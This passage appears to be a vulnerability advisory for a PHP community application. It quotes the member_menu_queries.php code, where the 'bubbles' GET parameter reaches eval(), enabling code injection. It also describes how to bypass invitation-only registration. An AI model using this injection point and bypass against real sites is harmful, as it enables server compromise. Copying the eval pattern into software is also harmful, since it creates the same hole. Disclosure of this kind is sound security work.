[-] vulnerable code in /member_menu_queries.php
61. case 'get_bubbles_values' :
62. $sBubbles = ( isset($_GET['bubbles']) ) ? $_GET['bubbles'] : null;
63. if ( $sBubbles && $iMemberId ) {
64.
65. $aMemberInfo = getProfileInfo($iMemberId);
66. if($aMemberInfo['UserStatus'] != 'offline') {
67. // update the date of last navigate;
68. update_date_lastnav($iMemberId);
69. }
70.
71. $aBubbles = array();
72. $aBubblesItems = explode(',', $sBubbles);
73.
74. if ( $aBubblesItems && is_array($aBubblesItems) ) {
75. $bClearCache = false;
76. foreach( $aBubblesItems as $sValue)
77. {
78. $aItem = explode(':', $sValue);
79.
80. $sBubbleCode = null;
81. foreach($aMenuStructure as $sKey => $aItems)
82. {
83. foreach($aItems as $iKey => $aSubItems)
84. {
85. if( $aSubItems['Name'] == $aItem[0]) {
86. $sBubbleCode = $aSubItems['Bubble'];
87. break;
88. }
89. }
90.
91. if ($sBubbleCode) {
92. break;
93. }
94. }
95.
96. if ($sBubbleCode) {
97. $sCode = str_replace('{iOldCount}', $aItem[1], $sBubbleCode);
98. $sCode = str_replace('{ID}', $iMemberId, $sCode);
99.
100. eval($sCode);
When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized
before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.
Successful exploitation of this vulnerability requires authentication, but is always possible to create a
new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass
the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
